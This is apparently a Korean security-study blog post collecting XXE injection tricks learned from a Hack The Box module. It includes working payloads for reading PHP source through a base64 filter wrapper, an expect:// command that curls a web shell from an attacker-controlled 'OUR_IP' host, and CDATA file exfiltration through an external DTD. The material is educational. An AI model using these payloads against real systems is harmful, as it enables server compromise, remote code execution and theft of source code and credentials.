티스토리 뷰
83번째 글.
XXE Injection에 대해서 기초적인 내용이 필요하다면 -> XXE Injection
이번 글에서는 XXE Injection과 연계할 수 있는 유용한 트릭을 정리한다.
1. Reading source code
XXE Injection을 통해서 소스코드에 대한 LFI가 가능해지면 화이트박스 테스트가 가능해진다.
소스코드를 분석하여 더 많은 취약점을 이끌어 낼 수도 있고 데이터베이스 암호, API 키 등을 찾을 수도 있다.
위처럼 index.php 파일을 읽기 위해 인젝션을 시도해보면 아무런 텍스트도 찍히지 않는다.
그 이유는 참조하는 파일이 올바른 XML 형식이 아니기 때문에 발생한다.
'</>/&'와 같은 XML 특수문자가 섞여있으면 정상적으로 파싱 되지 않고 외부 엔티티 참조가 끊어지게 된다.
다행히도 php의 경우는 wrapper를 이용해서 base64 인코딩을 통해 소스코드를 읽을 수 있다.
<!DOCTYPE test [
<!ENTITY exploit SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
2. RCE with XXE
PHP-based 웹 애플리케이션의 경우에 expect 모듈이 설치되어 있고 그 결과가 페이지에 노출된다면
'expect://id'처럼 간단한 명령줄 하나로 가능하지만 이 경우에 조건이 많이 달려있다.
가장 효율적인 방법은 로컬에 있는 웹쉘 하나를 업로드하는 것이다.
<!DOCTYPE test [
<!ENTITY exploit SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
$IFS를 사용하여 공백을 우회한 것은 XML 구문을 깨뜨리지 않기 위함이다.
3. Advanced Exfiltration with CDATA
위에서 설명했듯이 php의 경우에는 wrapper를 지원하여 파일을 볼 수 있었다.
그렇다면 다른 타입의 웹 애플리케이션인 경우는 어떻게 해야 할까?
CDATA 태그를 이용하여 LFI이 가능해진다.
CDATA는 [ ] 안의 내용들을 모두 문자열로 처리한다. (ex <![ CDATA [FILE_CONTENT] ]>)
<!DOCTYPE test [
<!ENTITY begin "<![CDATA[">
<!ENTITY file SYSTEM "file:///var/www/html/test.php">
<!ENTITY end "]]>">
<!ENTITY joined "&begin;&file;&end;">
]>
이런 식으로 begin과 end 엔티티를 정의하고 파일의 내용을 CDATA로 감싸주면 된다.
하지만 XML이 외부 및 내부 엔티티를 결합하는 것을 막을 수 있기 때문에 정상적으로 동작하지 않을 수 있다.
그렇기 때문에 파라미터 엔티티를 사용하여 DTD파일 안에서 정의하는 방법이 있다.
<!ENTITY joined "%begin;%file;%end;">
다른 점이 있다면 '&'이 아니라 '%'를 써줘야 한다.
아래와 같은 형식이 되겠다.
<!DOCTYPE test [
<!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
<!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
<!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
%xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->
* 최신의 웹 서버에서는 index.php 같은 파일의 읽기를 막고 있기 때문에 정상적으로 동작하지 않을 수 있음.
Reference
- https://academy.hackthebox.com/module // Web Attacks
'study > web' 카테고리의 다른 글
[web] XXE Injection (0) | 2022.03.06 |
---|---|
[web] DOM Clobbering (0) | 2021.01.28 |
[web] About CSP (2) | 2021.01.14 |
[web] python pickle module(deserialize vulnerability) (0) | 2021.01.07 |
- Total
- Today
- Yesterday
- blind injection
- alasql
- DreamHack
- dreamhack DOM XSS
- xxe injection
- Lord of SQL injection
- htb Windows Fundametals
- hackerfactory
- webhacking.kr
- 웹해킹
- Windows Fundamentals
- dreamhack padding oracle
- CSS Injection
- wargame
- LFI vulnerability
- 해커팩토리
- SQL Injection
- 드림핵
- csp bypass
- WebHacking
- csp
- 드림핵 DOM XSS
- htb
- dreamhack CSS Injection
- php LFI
- dreamhack Relative Path Overwrite
- 드림핵 Relative Path Overwrite
- hack the box
- 드림핵 padding oracle
- dreamhack web-alasql
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |